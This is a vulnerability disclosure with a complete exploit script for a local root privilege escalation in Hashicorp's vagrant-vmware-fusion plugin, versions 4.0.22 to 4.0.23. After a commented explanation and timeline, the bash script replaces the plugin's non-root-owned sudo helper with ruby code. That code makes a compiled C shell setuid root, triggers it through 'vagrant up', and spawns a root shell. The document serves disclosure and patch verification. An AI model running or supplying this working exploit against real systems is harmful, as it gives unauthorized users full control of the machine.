Hashicorp vagrant-vmware-fusion 4.0.23 - Local Privilege Escalation

# A couple of weeks ago I disclosed a local root privesc in Hashicorp's
# vagrant-vmware-fusion plugin:
#
# https://m4.rkw.io/blog/cve20177642-local-root-privesc-in-hashicorp-vagrantvmw...
#
# The initial patch they released was 4.0.21 which unfortunately contained a bug
# that prevented it from working at all on mac systems so I was unable to test it.
# I then had to give my mac to Apple for a couple of weeks for some repairs so
# only got around to testing 4.0.22 at the end of last week.
#
# Unfortunately, 4.0.22 is still exploitable and the subsequent release of 4.0.23
# did not fix the issue.  Hashicorp reacted much faster this time, taking only a
# few days to issue a patch instead of a few months and 4.0.24 does fix the issue.
#
# As discussed before the plugin installs a "sudo helper" encrypted ruby script
# and four architecture-specific wrappers into
# ~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.22/bin
#
# vagrant_vmware_desktop_sudo_helper
# vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386
# vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64
# vagrant_vmware_desktop_sudo_helper_wrapper_linux_386
# vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64
#
# The wrapper that matches the system architecture will be made suid root the
# first time any vagrant box is up'd.  When a vagrant box is started the wrapper
# script elevates privileges and then executes the ruby sudo helper script.
#
# Previously I exploited the unsanitised system("ruby") call to simply invoke the
# wrapper directly and execute an arbitrary fake "ruby" script in the current PATH.
# This is now mitigated with 4.0.22 because the wrapper refuses to execute if it's
# not being called by vagrant.
#
# Unfortunately it's still possible to exploit it because the wrapper executes the
# sudo helper as root, and the sudo helper is not root-owned so we can overwrite it
# with any arbitrary ruby code which will then get executed as root when vagrant up
# is run.
#
# The issue was reported to Hashicorp on 27/07/17 and fixed on 01/08/17.
#
# This exploit requires a vmware_fusion box to be present on the system in order to
# work.  If you don't have one it may take a few minutes to download one.  Like
# last time it targets darwin 64bit but it's likely the other architectures are
# vulnerable too.
#
# https://m4.rkw.io/vagrant_vmware_privesc_4.0.23.sh.txt
# 81c2637cd1f4064c077aabc6fa7a3451ae3f2bd99c67f25c966728f88a89d5a1
# --------------------------------------------------------------------------

#!/bin/bash
echo
echo "****************************************************************"
echo "* Wooo vmware_fusion plugin 4.0.22-4.0.23 is still exploitable *"
echo "* m4rkw                                                        *"
echo "****************************************************************"
echo
echo "Shouts to #coolkids"
echo

vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1`
target="/tmp/vagrant_vmware_privesc_4.0.23"

if [ "$vuln_bin" == "" ] ; then
  echo "Vulnerable binary not found."
  exit 1
fi

if [ -e "$target" ] ; then
  echo "Exploit payload already present."
  $target
  exit
fi

box=`vagrant box list |grep '(vmware_desktop' |head -n1 |cut -d ' ' -f1`

if [ "$box" == "" ] ; then
  echo "No vmware_fusion boxes found locally, we will have to download one."
  echo
  echo "This will take a few minutes."
  echo
  box="bento/ubuntu-16.04"
fi

dir=`dirname "$vuln_bin"`

cd "$dir"

if [ ! -e "vagrant_vmware_desktop_sudo_helper.bak" ] ; then
  mv vagrant_vmware_desktop_sudo_helper vagrant_vmware_desktop_sudo_helper.bak
fi

cat > $target.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","/bin/bash;rm -f $target",NULL);
  return 0;
}
EOF
gcc -o $target $target.c
rm -f $target.c

cat > vagrant_vmware_desktop_sudo_helper <<EOF
#!/usr/bin/env ruby
\`chown root:wheel $target\`
\`chmod 4755 $target\`
EOF

chmod 755 vagrant_vmware_desktop_sudo_helper

cat > vagrantfile <<EOF
Vagrant.configure('2') do |config|
  config.vm.box = '$box'
end
EOF

vagrant up 2>/dev/null &

while :
do
  r=`ls -la $target |grep -- '-rwsr-xr-x  1 root  wheel'`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.2
done

killall -9 vagrant

echo
echo "Sorry Hashicorp.. still fail :P"
echo

sleep 1
cd
$target